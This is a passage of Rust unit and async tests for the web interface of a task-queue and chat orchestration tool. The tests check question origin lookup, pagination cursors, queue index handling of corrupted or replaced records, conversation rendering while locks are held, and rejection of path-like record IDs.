24235 findings: vec![],
24236 generation,
24237 });
24238 ui.queue.put(&mut child).unwrap();
24239 previous = child;
24240 }
24241 let mut collision = Task::new(
24244 "collision".into(),
24245 String::new(),
24246 PathBuf::from("/repo"),
24247 Source::Human,
24248 );
24249 collision.id = "collision-task".into();
24250 collision.runs = vec![previous.id.clone()];
24251 ui.queue.put(&mut collision).unwrap();
24252 let mut questions = Vec::new();
24253 for (node, reference, expected, eligible) in [
24254 (crate::triage::NODE, previous.id.as_str(), true, false),
24255 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24256 ("review", previous.runs[0].as_str(), true, true),
24257 (
24258 crate::bump::NOTICE_NODE,
24259 previous.runs[0].as_str(),
24260 true,
24261 false,
24262 ),
24263 ("review", previous.id.as_str(), false, false),
24265 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24266 ("review", "unrelated", false, false),
24267 ] {
24268 let mut q = Question::new(
24269 reference.into(),
24270 node.into(),
24271 "seat".into(),
24272 "Question".into(),
24273 String::new(),
24274 vec![],
24275 );
24276 ui.questions.put(&mut q).unwrap();
24277 questions.push((q, expected, eligible));
24278 }
24279 for (node, reference, associated, eligible) in [
24280 (crate::reconcile::NODE, previous.id.as_str(), true, false),
24281 (
24282 crate::reconcile::NODE,
24283 previous.runs[0].as_str(),
24284 false,
24285 true,
24286 ),
24287 ("implement", previous.id.as_str(), false, false),
24288 ] {
24289 let mut q = Question::new(
24290 reference.into(),
24291 node.into(),
24292 crate::reconcile::SEAT.into(),
24293 "Reconcile".into(),
24294 String::new(),
24295 vec![],
24296 );
24297 ui.questions.put(&mut q).unwrap();
24298 questions.push((q, associated, eligible));
24299 }
24300 let mut release = Question::new(
24301 "release-record".into(),
24302 crate::bump::NOTICE_NODE.into(),
24303 "release-watch".into(),
24304 "Release".into(),
24305 String::new(),
24306 vec![],
24307 );
24308 ui.questions.put(&mut release).unwrap();
24309 let watch = crate::release_watch::WatchState {
24310 question: Some(release.id.clone()),
24311 run: Some(previous.runs[0].clone()),
24312 held_task: Some(previous.id.clone()),
24313 ..Default::default()
24314 };
24315 let watch_dir = home.path().join("release-watch");
24316 std::fs::create_dir_all(&watch_dir).unwrap();
24317 let watch_path = watch_dir.join("watch.json");
24318 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24319 for batch in [
24321 Vec::new(),
24322 questions.iter().map(|(q, _, _)| q.clone()).collect(),
24323 ] {
24324 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24325 assert!(watches.is_empty());
24326 }
24327 questions.push((release.clone(), true, false));
24328
24329 let views = questions_list(State(ui.clone())).await.unwrap().0;
24330 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24331 for (q, associated, eligible) in &questions {
24332 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24333 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24334 let expected = associated.then_some(chat.as_str());
24335 assert_eq!(
24336 view.origin_chat.as_deref(),
24337 expected,
24338 "{} {}",
24339 q.node,
24340 q.run
24341 );
24342 assert_eq!(origin.origin_chat.as_deref(), expected);
24343 assert_eq!(view.origin_chat_closed, *associated);
24344 assert_eq!(origin.origin_chat_closed, *associated);
24345 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24346 assert_eq!(origin.can_consult_chat, *eligible);
24347 }
24348 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24350 let link = crate::release_watch::WatchState {
24351 run,
24352 held_task,
24353 ..watch.clone()
24354 };
24355 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24356 let (tasks, talks, watches) =
24357 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24358 assert_eq!(
24359 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24360 .unwrap()
24361 .id,
24362 chat,
24363 );
24364 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24365 }
24366 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24367 let duplicate_path = watch_dir.join("duplicate.json");
24369 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24370 let (tasks, talks, watches) =
24371 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24372 assert!(
24373 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24374 .is_none()
24375 );
24376 std::fs::remove_file(duplicate_path).unwrap();
24377 let mut unrelated = Task::new(
24379 "other".into(),
24380 String::new(),
24381 PathBuf::from("/repo"),
24382 Source::Human,
24383 );
24384 unrelated.id = "unrelated-task".into();
24385 ui.queue.put(&mut unrelated).unwrap();
24386 let mut conflicting = watch.clone();
24387 conflicting.held_task = Some(unrelated.id);
24388 std::fs::write(
24389 watch_dir.join("conflict.json"),
24390 serde_json::to_vec(&conflicting).unwrap(),
24391 )
24392 .unwrap();
24393 let (tasks, talks, watches) =
24394 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24395 assert!(
24396 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24397 .is_none()
24398 );
24399 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24400 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24401 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24402 assert!(origin.origin_chat.is_none());
24403 assert!(!origin.origin_chat_closed);
24404 }
24405 }
24406
24407 #[test]
24408 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24409 let home = tempfile::tempdir().unwrap();
24410 let ui = delta_test_ui(home.path());
24411 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24412 for i in 0..1000 {
24413 let mut task = Task::new(
24414 "unrelated".into(),
24415 "instruction ".repeat(256),
24416 PathBuf::from("/repo"),
24417 Source::Human,
24418 );
24419 task.id = format!("history-{i:04}");
24420 ui.queue.put(&mut task).unwrap();
24421 let id = seed_talk_at(&ui.talks, &task.id, "open");
24422 let mut talk = ui.talks.get(&id).unwrap();
24423 talk.pending = "history ".repeat(256);
24424 ui.talks.put(&mut talk).unwrap();
24425 }
24426 let mut parent = Task::new(
24427 "parent".into(),
24428 "body".into(),
24429 PathBuf::from("/repo"),
24430 Source::Agent {
24431 run: chat_id.clone(),
24432 node: crate::queue::CHAT_NODE.into(),
24433 },
24434 );
24435 parent.id = "task-parent".into();
24436 parent.runs = vec!["run-parent".into()];
24437 ui.queue.put(&mut parent).unwrap();
24438 let mut child = Task::new(
24439 "child".into(),
24440 "body".into(),
24441 PathBuf::from("/repo"),
24442 Source::Human,
24443 );
24444 child.id = "task-child".into();
24445 child.runs = vec!["run-child".into()];
24446 child.followup = Some(crate::queue::FollowUp {
24447 run: "run-parent".into(),
24448 origin_task: Some(parent.id.clone()),
24449 pr: "https://example.invalid/pr/1".into(),
24450 findings: vec![],
24451 generation: 1,
24452 });
24453 ui.queue.put(&mut child).unwrap();
24454 let mut question = Question::new(
24455 child.id.clone(),
24456 crate::conduct::NODE.into(),
24457 "seat".into(),
24458 "Continue?".into(),
24459 String::new(),
24460 vec![],
24461 );
24462 let (tasks, talks, _watches) =
24463 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24464 assert_eq!(tasks.len(), 2);
24465 assert_eq!(talks.len(), 1);
24466 assert_eq!(
24467 ui.monitor.queue_index.lock().unwrap().reparsed,
24468 0,
24469 "exact ancestry bypasses the index"
24470 );
24471 assert_eq!(
24472 crate::consult::origin_talk(&tasks, &talks, &question)
24473 .unwrap()
24474 .id,
24475 chat_id
24476 );
24477 question.run = "run-child".into();
24478 question.node = "review".into();
24479 for origin_task in [Some(parent.id.clone()), None] {
24480 child.followup.as_mut().unwrap().origin_task = origin_task;
24481 ui.queue.put(&mut child).unwrap();
24482 let (tasks, talks, _watches) =
24483 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24484 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24485 let expected =
24486 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24487 .unwrap();
24488 assert_eq!(actual.id, expected.id);
24489 assert!(!actual.status.open());
24490 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24491 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24492 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24495 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24496 }
24497 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24498 ui.queue.put(&mut child).unwrap();
24499 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24500 let (tasks, talks, _watches) =
24501 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24502 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24503 child.origin_chat = Some(chat_id.clone());
24504 ui.queue.put(&mut child).unwrap();
24505 let (tasks, talks, _watches) =
24506 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24507 assert_eq!(
24508 crate::consult::origin_talk(&tasks, &talks, &question)
24509 .unwrap()
24510 .id,
24511 chat_id
24512 );
24513 let revision = question_record_revision(&question);
24514 question.abandon("settled elsewhere");
24515 assert_ne!(revision, question_record_revision(&question));
24516 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24517 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24518 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24519 let (tasks, talks, _watches) =
24520 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24521 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24522 }
24523
24524 #[test]
24525 fn list_cursors_freeze_membership_and_expire_explicitly() {
24526 let home = tempfile::tempdir().unwrap();
24527 let ui = delta_test_ui(home.path());
24528 std::fs::create_dir_all(ui.queue.root()).unwrap();
24529 for i in 0..40 {
24530 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24531 }
24532 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24533 assert_eq!(first.len(), STORE_PAGE_SIZE);
24534 let cursor = cursor.unwrap();
24535 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24536 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24537 let (second, _) = page_ids(
24538 &ui,
24539 false,
24540 PageQuery {
24541 before: Some(cursor.clone()),
24542 },
24543 )
24544 .unwrap();
24545 assert_eq!(second[0], "record-0023");
24546 assert!(second.iter().all(|id| !first.contains(id)));
24547 assert!(
24548 page_ids(
24549 &ui,
24550 true,
24551 PageQuery {
24552 before: Some(cursor.clone())
24553 }
24554 )
24555 .is_err()
24556 );
24557 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24558 assert_eq!(fresh[0], "record-9999");
24559 ui.monitor.list_walks.lock().unwrap().clear();
24560 assert!(
24561 page_ids(
24562 &ui,
24563 false,
24564 PageQuery {
24565 before: Some(cursor)
24566 }
24567 )
24568 .is_err()
24569 );
24570 }
24571
24572 #[tokio::test]
24573 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24574 let home = tempfile::tempdir().unwrap();
24575 let ui = delta_test_ui(home.path());
24576 let mut task = Task::new(
24577 "task".into(),
24578 "body".into(),
24579 PathBuf::from("/repo"),
24580 Source::Human,
24581 );
24582 ui.queue.put(&mut task).unwrap();
24583 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24584 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24585 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24586 let expected = parsed + usize::from(!cfg!(unix));
24587 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24588 task.status = crate::queue::TaskStatus::Held;
24589 ui.queue.put(&mut task).unwrap();
24590 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24591 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24592 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24593 ui.queue.put(&mut task).unwrap();
24594 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24595 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24596 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24597 }
24598
24599 #[tokio::test]
24600 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24601 let home = tempfile::tempdir().unwrap();
24602 let ui = delta_test_ui(home.path());
24603 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24604 let before = health(State(ui.clone())).await.unwrap().0;
24605 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24606 let after = health(State(ui)).await.unwrap().0;
24607 assert_ne!(before.notifications_rev, after.notifications_rev);
24608 assert_eq!(after.notifications_unread, 1);
24609 }
24610
24611 #[tokio::test]
24612 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24613 let home = tempfile::tempdir().unwrap();
24614 let ui = delta_test_ui(home.path());
24615 let queue = &ui.queue;
24616 let talks = &ui.talks;
24617 for i in 0..1000 {
24618 let id = format!("20261019-{i:06}-page");
24619 let mut task = Task::new(
24620 "task".into(),
24621 "instruction".repeat(100),
24622 PathBuf::from("/repo/magi"),
24623 Source::Human,
24624 );
24625 task.id = id.clone();
24626 if i == 0 {
24627 task.status = crate::queue::TaskStatus::Held;
24628 } else if i == 999 {
24629 task.status = crate::queue::TaskStatus::Blocked;
24630 task.blocked_by = vec!["20261019-000000-page".into()];
24631 }
24632 queue.put(&mut task).unwrap();
24633 seed_talk_at(talks, &id, "open");
24634 }
24635 let page = serde_json::to_value(
24636 queue_page(State(ui.clone()), Query(PageQuery::default()))
24637 .await
24638 .unwrap()
24639 .0,
24640 )
24641 .unwrap();
24642 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24643 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24644 assert!(
24645 !page["rows"][0]["stuck_roots"]
24646 .as_array()
24647 .unwrap()
24648 .is_empty()
24649 );
24650 let cursor = page["next"].as_str().unwrap();
24651 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24652 .as_str()
24653 .unwrap();
24654 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24656 let next = serde_json::to_value(
24657 queue_page(
24658 State(ui.clone()),
24659 Query(PageQuery {
24660 before: Some(cursor.into()),
24661 }),
24662 )
24663 .await
24664 .unwrap()
24665 .0,
24666 )
24667 .unwrap();
24668 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24669 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24670 let chats = serde_json::to_value(
24671 talks_page(
24672 State(ui.clone()),
24673 Query(PageQuery::default()),
24674 header::HeaderMap::new(),
24675 )
24676 .await
24677 .unwrap()
24678 .0,
24679 )
24680 .unwrap();
24681 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24682 assert!(chats["rows"][0].get("pending").is_none());
24683 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24684 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24685 assert_eq!(counts["held"], 1);
24686 assert_eq!(counts["blocked"], 1);
24687 assert_eq!(counts["queued"], 997);
24688 }
24689
24690 #[test]
24691 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24692 let dir = tempfile::tempdir().unwrap();
24693 let ui = delta_test_ui(dir.path());
24694 let mut task = Task::new(
24695 "task".into(),
24696 "body".into(),
24697 PathBuf::from("/repo"),
24698 Source::Human,
24699 );
24700 task.runs = vec!["run-a".into()];
24701 ui.queue.put(&mut task).unwrap();
24702 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24703 task.runs = vec!["run-b".into()];
24704 let path = ui.queue.path_of(&task.id);
24705 let modified = path.metadata().unwrap().modified().unwrap();
24706 let replacement = path.with_extension("replacement");
24707 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24708 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24709 std::fs::write(&replacement, &bytes).unwrap();
24710 std::fs::File::options()
24711 .write(true)
24712 .open(&replacement)
24713 .unwrap()
24714 .set_times(std::fs::FileTimes::new().set_modified(modified))
24715 .unwrap();
24716 std::fs::rename(&replacement, &path).unwrap();
24717 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24718 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24719 std::fs::write(&path, "broken").unwrap();
24720 assert!(ui.find_task_for_run("run-b").is_err());
24721 std::fs::write(&path, bytes).unwrap();
24722 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24723 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24724 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24725 }
24726
24727 #[tokio::test]
24728 async fn conversation_core_is_independent_of_unreadable_related_history() {
24729 let home = tempfile::tempdir().unwrap();
24730 let ui = delta_test_ui(home.path());
24731 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24732 std::fs::create_dir_all(ui.queue.root()).unwrap();
24733 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24734 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24735 .await
24736 .unwrap();
24737 assert_eq!(core.talk.id, id);
24738 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24739 }
24740
24741 #[test]
24742 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
24743 let home = tempfile::tempdir().unwrap();
24744 let ui = delta_test_ui(home.path());
24745 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24746 let directory = home.path().join("workers/jobs/abcdef");
24747 std::fs::create_dir_all(&directory).unwrap();
24748 let job = crate::worker::Job {
24749 id: "abcdef".into(),
24750 sequence: 1,
24751 kind: "chat".into(),
24752 key: id.clone(),
24753 payload: serde_json::json!({ "talk": id }),
24754 generation: "test".into(),
24755 version: None,
24756 status: crate::worker::Status::Running,
24757 result: None,
24758 pid: None,
24759 created_at: 0,
24760 finished_at: None,
24761 };
24762 std::fs::write(
24763 directory.join("job.json"),
24764 serde_json::to_vec(&job).unwrap(),
24765 )
24766 .unwrap();
24767 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
24768 let store =
24769 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
24770 let runtime = tokio::runtime::Builder::new_current_thread()
24771 .enable_all()
24772 .max_blocking_threads(1)
24773 .build()
24774 .unwrap();
24775 runtime.block_on(async {
24776 let (release, held) = std::sync::mpsc::channel();
24777 let (started, ready) = tokio::sync::oneshot::channel();
24778 let occupied = tokio::task::spawn_blocking(move || {
24779 started.send(()).unwrap();
24780 held.recv().unwrap();
24781 });
24782 ready.await.unwrap();
24783 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
24784 let bulk = ui
24785 .monitor
24786 .bulk_slots
24787 .clone()
24788 .acquire_many_owned(2)
24789 .await
24790 .unwrap();
24791 let result = tokio::time::timeout(
24792 Duration::from_secs(2),
24793 talk_core(State(ui.clone()), Path(id.clone())),
24794 )
24795 .await;
24796 drop(store);
24798 drop(bulk);
24799 release.send(()).unwrap();
24800 occupied.await.unwrap();
24801 let _ = secondary.await.unwrap().unwrap();
24802 let Json(core) = result
24803 .expect("transcript must bypass secondary work and the worker store lock")
24804 .unwrap();
24805 assert!(
24806 core.thinking,
24807 "read-only observation retains live worker state"
24808 );
24809 assert_eq!(core.talk.id, id);
24810 let admission_ui = ui.clone();
24811 let (release, held) = std::sync::mpsc::channel();
24812 let (started, ready) = tokio::sync::oneshot::channel();
24813 let admission = std::thread::spawn(move || {
24814 let _lock = admission_ui.talk_turns.lock().unwrap();
24815 started.send(()).unwrap();
24816 held.recv().unwrap();
24817 });
24818 ready.await.unwrap();
24819 let result = tokio::time::timeout(
24820 Duration::from_secs(2),
24821 talk_core(State(ui.clone()), Path(id.clone())),
24822 )
24823 .await;
24824 release.send(()).unwrap();
24825 admission.join().unwrap();
24826 assert!(
24827 result
24828 .expect("display must not wait behind local admission")
24829 .unwrap()
24830 .0
24831 .thinking
24832 );
24833 assert!(ui.is_thinking(&id));
24834 assert!(ui.is_thinking_observed(&id));
24835 drop(live);
24836 assert!(
24837 !ui.is_thinking_observed(&id),
24838 "a finished lease no longer appears live"
24839 );
24840 assert!(!ui.is_thinking(&id));
24841 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
24842 assert!(
24843 ui.is_thinking_observed(&id),
24844 "local admission remains visible"
24845 );
24846 });
24847 }
24848
24849 #[tokio::test]
24850 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24851 let home = tempfile::tempdir().unwrap();
24852 let ui = delta_test_ui(home.path());
24853 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24854 let mut task = Task::new(
24855 "Referenced task".into(),
24856 "Unrelated instruction history".repeat(1024),
24857 home.path().into(),
24858 Source::Human,
24859 );
24860 task.id = "20261019-000000-abcd".into();
24861 ui.queue.put(&mut task).unwrap();
24862 let mut conversation = ui.talks.get(&id).unwrap();
24863 conversation.turns.push(talk::Turn {
24864 sender: Some(talk::Sender::Persona),
24865 who: talk::Who::Agent,
24866 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24867 at: conversation.created_at,
24868 attachments: Vec::new(),
24869 usage: None,
24870 breaks: None,
24871 messages: Vec::new(),
24872 posted_by: None,
24873 });
24874 ui.talks.put(&mut conversation).unwrap();
24875
24876 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24877 let markdown = serde_json::to_value(&core.turn_bodies_md)
24878 .unwrap()
24879 .to_string();
24880 assert!(markdown.contains("\"strong\""));
24881 assert!(markdown.contains("\"table\""));
24882 assert!(markdown.contains("\"bullet_list\""));
24883 assert!(markdown.contains("\"code_block\""));
24884 assert!(!markdown.contains("\"internal_link\""));
24885 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24886 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24887 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24888
24889 let references = ui.references.for_talk(home.path(), &conversation);
24892 let mut decorated = core.turn_bodies_md[0].clone();
24893 references.markdown(&mut decorated);
24894 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24895 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24896 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24897 assert_eq!(
24898 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24899 conversation.turns[0].body
24900 );
24901 }
24902
24903 #[tokio::test]
24904 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24905 let home = tempfile::tempdir().unwrap();
24906 let ui = delta_test_ui(home.path());
24907 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24908 let mut run = RunState::new(
24909 PathBuf::from("/repo"),
24910 "main".into(),
24911 "01234567".into(),
24912 "Useful run".into(),
24913 Config::default(),
24914 );
24915 run.save_under(home.path()).unwrap();
24916 let mut task = Task::new(
24917 "Related".into(),
24918 "body".into(),
24919 PathBuf::from("/repo"),
24920 Source::Agent {
24921 run: talk_id.clone(),
24922 node: "chat".into(),
24923 },
24924 );
24925 task.runs = vec![run.id.clone()];
24926 ui.queue.put(&mut task).unwrap();
24927 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24928 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24929 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24930 assert!(
24931 run_detail(State(ui.clone()), Path(run.id.clone()))
24932 .await
24933 .is_ok()
24934 );
24935 assert!(
24936 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24937 .await
24938 .is_ok()
24939 );
24940 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24942 assert!(ui.find_task_for_run(&run.id).is_err());
24943 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24944 ui.queue.put(&mut task).unwrap();
24945 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24946 }
24947
24948 #[tokio::test]
24949 async fn conversation_sections_omit_large_task_instructions() {
24950 let home = tempfile::tempdir().unwrap();
24951 let ui = delta_test_ui(home.path());
24952 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24953 let mut task = Task::new(
24954 "filed task".into(),
24955 "large instruction ".repeat(65536),
24956 PathBuf::from("/repo"),
24957 Source::Agent {
24958 run: id.clone(),
24959 node: "chat".into(),
24960 },
24961 );
24962 ui.queue.put(&mut task).unwrap();
24963 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24964 assert_eq!(sections["tasks"][0]["id"], task.id);
24965 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24966 assert!(sections["tasks"][0].get("instruction").is_none());
24967 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24968 }
24969
24970 #[test]
24971 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24972 let home = tempfile::tempdir().unwrap();
24973 let talks = Talks::at(home.path().join("talks"));
24974 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24975 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24976 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24977 assert!(resolve_talk(&talks, "../outside").is_err());
24978 assert!(resolve_talk(&talks, "abcd").is_err());
24979 assert_eq!(
24980 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24981 "20261019-000001-abcd"
24982 );
24983 }
24984
24985 include!(concat!(
24986 env!("CARGO_MANIFEST_DIR"),
24987 "/tests/web_latency/baseline.rs"
24988 ));
24989
24990 include!(concat!(
24991 env!("CARGO_MANIFEST_DIR"),
24992 "/tests/web_latency/lists.rs"
24993 ));
24994
24995 #[tokio::test]
24996 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24997 async fn web_history_latency_measurement() {
24998 use std::time::Instant;
24999 let home = tempfile::tempdir().unwrap();
25000 let ui = delta_test_ui(home.path());
25001 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25002 let mut template = ui.talks.get(&id).unwrap();
25003 template.turns = serde_json::from_value(serde_json::json!([{
25004 "who": "operator", "body": "Show the accumulated work and its current status.",
25005 "at": Timestamp::now().to_string(),
25006 }]))
25007 .unwrap();
25008 std::fs::write(
25009 ui.talks.path_of(&id),
25010 serde_json::to_vec(&template).unwrap(),
25011 )
25012 .unwrap();
25013 let count = std::env::var("MAGI_BENCH_RECORDS")
25014 .ok()
25015 .and_then(|s| s.parse::<usize>().ok())
25016 .unwrap_or(1000);
25017 for i in 0..count {
25018 template.id = format!("20261019-{i:06}-history");
25019 template.pending = "history ".repeat(2048);
25020 std::fs::write(
25021 ui.talks.path_of(&template.id),
25022 serde_json::to_vec(&template).unwrap(),
25023 )
25024 .unwrap();
25025 let mut task = Task::new(
25026 "old task".into(),
25027 "instruction ".repeat(2048),
25028 PathBuf::from("/repo"),
25029 Source::Human,
25030 );
25031 task.id = format!("20261019-{i:06}-task");
25032 ui.queue.put(&mut task).unwrap();
25033 }
25034 for baseline in [true, false] {
25035 for clients in [1, 4] {
25036 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25037 let mut samples = Vec::new();
25038 for _ in 0..12 {
25039 let mut jobs = Vec::new();
25040 for _ in 0..clients {
25041 let ui = ui.clone();
25042 let id = id.clone();
25043 jobs.push(tokio::spawn(async move {
25044 let start = Instant::now();
25045 if baseline {
25046 let response =
25047 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25048 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25049 return (
25050 elapsed,
25051 elapsed,
25052 serde_json::to_vec(&response).unwrap().len(),
25053 );
25054 }
25055 let core = talk_core(State(ui.clone()), Path(id.clone()));
25056 let secondary = talk_sections(State(ui), Path(id));
25057 let (first, total) = tokio::join!(
25058 async {
25059 let value = core.await.unwrap().0;
25060 (
25061 start.elapsed().as_secs_f64() * 1000.0,
25062 serde_json::to_vec(&value).unwrap().len(),
25063 )
25064 },
25065 async {
25066 let value = secondary.await.unwrap().0;
25067 (
25068 start.elapsed().as_secs_f64() * 1000.0,
25069 serde_json::to_vec(&value).unwrap().len(),
25070 )
25071 }
25072 );
25073 (first.0, first.0.max(total.0), first.1 + total.1)
25074 }));
25075 }
25076 for job in jobs {
25077 samples.push(job.await.unwrap());
25078 }
25079 }
25080 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25081 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25082 first.sort_by(f64::total_cmp);
25083 total.sort_by(f64::total_cmp);
25084 let n = first.len();
25085 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25086 println!(
25087 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25088 first[n / 2],
25089 first[(n * 95 / 100).min(n - 1)],
25090 total[n / 2],
25091 total[(n * 95 / 100).min(n - 1)],
25092 samples[0].2
25093 );
25094 }
25095 }
25096 }
25097
25098 #[test]
25099 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25100 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25102 assert!(APP_JS.contains("function nextRunRequest(id)"));
25103 assert!(APP_JS.contains("function runShell(id, summary)"));
